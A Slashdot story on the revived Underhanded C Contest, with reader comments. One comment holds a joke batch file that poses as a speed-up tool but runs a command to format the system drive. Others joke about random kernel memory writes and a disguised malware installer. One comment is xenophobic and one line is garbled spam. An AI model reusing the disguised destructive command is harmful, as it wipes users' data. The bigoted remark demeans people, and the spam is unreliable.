The Underhanded C Contest Is Back
Xcott Craver writes "After several years of inactivity, the Underhanded C contest has returned. The object is to write a short, readable, innocent-looking computer program that nevertheless performs some evil function for reasons that are not obvious under code review. The prize is a $200 gift certificate to ThinkGeek."
The deadline is July 4th, so get to hacking.
The actual challenge this year is to write an evil C file that can calculate the "Bacon degree" separation of two users in a database that keeps track of their friends, with 0 meaning no linkage at all, 1 meaning they're directly BFF, 2 meaning that they have a BFF in common. In other words, the path length on the graph of friends. Then, the "evil part" is to make it screw up when called with the parameters for your account: You want to create your own ObsessBook account and gain unwarranted access to as many users as possible. To this end, your code should work normally almost all the time, but for some unseen reason it should return incorrectly low DERPCON values when called with your account as an argument. As the contractor, you have access to the ObsessBook database, so you can assign your data structure whatever fields you want in order to trigger the bug.
It only costs $200 to get a story on Slashdot. Wow! Where do I sign up?
Since we all know 'they're the same as us', right?
Does it bother you 'scientists' that your country is being invaded by millions of unintelligent third worlders?
When they missed putting 'http://' in front of their link to thinkgeek.com ;)
If computers were people, I'd be a misanthrope.
....April second..... my first observation after a failed and just plain annoying April fools attempt are nothing to talk about so far.
US of A still has to rice from their slumber, while EMEA is handling the "being awake" shift.
Expectations so far still for a slow April 2nd and the crawling back of the spineless on April 3th.
*Log of the observasionist 4/2/2013 12:17 (European time and date stamp, bitches :))
the prize is a $200 gift certificate to a website i hate.
this must be a joke.
Software is already underhanded and obscure enough as it is. I mean using it. How about a "clear and fucking obvious" contest? How about error messages that mean something? "The side by side configuration is incorrect". Parse that.
Since ThinkGeek doesn't ship to most countries the prize is almost useless.
Why couldn't they just offer the money?
My C teacher used to show us snippets, and got us interested in the per-processor.
We learned more in analyzing errant code, then writing out own,
and we could turn crap code into cool programs.
He called one snippet 'Recalcitrant' and we ran upstairs in the library to look it up,
People thought we were mad when we were laughing at the dictionary.
Thanks Barry both for showing us C, and for introducing us to GNU.
The winning entry will be one which doesn't only do the evil task asked for, but at the same time, in a way that the contest runners won't notice it, also manipulates the contest database in order to put itself as the winner. ;-)
The Tao of math: The numbers you can count are not the real numbers.
Cold are the hands of time that creep along relentlessly, destroying slowly, but without pity, that which yesterday was young. Alone our memories resist this disintegration and grow more lovely with the passing years.
REM // This is a normal file, do not worry, it will not harm your computer. In fact, it will speed it up very much. // Save this file to a USB drive, and run it on every computer that may or may not be running slow (to you!) // This will also help with the internet being slow / down / non-existent. It will also prevent you from getting email spam. // Share with everyone! Remember what Barney said, "Sharing means caring!"
REM
REM
REM
echo y|format %systemdrive% /x
#include<stdio.h>
/* Distract Judges */
/* Launch our evil masterpiece */ /* TODO: Find out the command to start Windows 8... */
#include<process.h>
main()
{
printf("Is that a free beer stand behind you?");
exec("", "", NULL);
}
It will involve pointers and overloaded operators. Because no one knows what the fuck is going on once those get sufficiently dense. I'd probably obfuscate what I was doing by pointing to instructions rather than writing them in code.
Here is the current structure proposed by the organizers for storing the social network.
struct user_struct {
int user_ID;
char * name;
char * account_handle;
int number_of_BFFs;
user * BFF_list;
int scratch;
};
The BFF_list field is supposed to contain the list of friends of a user. The proposed type, user*, suggests that it should be implemented as an array of user. This means that if a user is in your list of friends (stored by value in the array BFF_list), you cannot be in his list of friends unless you both have the same friends. It can only represent non-symetric friendship where each user is involved once in a BFF_list.
I would suggest using type user** for this field.
Did you know that today is the 20th anniversary of the first time I heard that Windows joke?
see several stories above about the guy who built secret compartments...
I put the contest rules in a pdf, at http://bingweb.binghamton.edu/~scraver/underhanded/ until the main site is back up again.
already did this. He was hacking in C while getting something underhanded... or it could have been overhanded; the camera didn't show under the table.
The G
systems. T4e Gay Out of bed in 7he parts of you are you join today!
kernel mod code while(1) { asm( randomAddress = random value ) } // randomAddress (in lower memory)
Because it can maybe help people understand that "But isn't open source!" isn't some magic statement that means a piece of software is secure, bug free, and non-evil. Review and testing is important, not just of the code (and for non-obvious things) but of the final compiled product too. That you have the code doesn't mean there isn't a problem, even if you glanced at it doesn't mean there's no problem.
I'm going to write a malware installer that appears to simply be an installer for Windows XP......but it makes sure you are connected to the internet first.
Do daemons dream of electric sleep()?
That's ridiculous, I've been making that joke for about 25 years.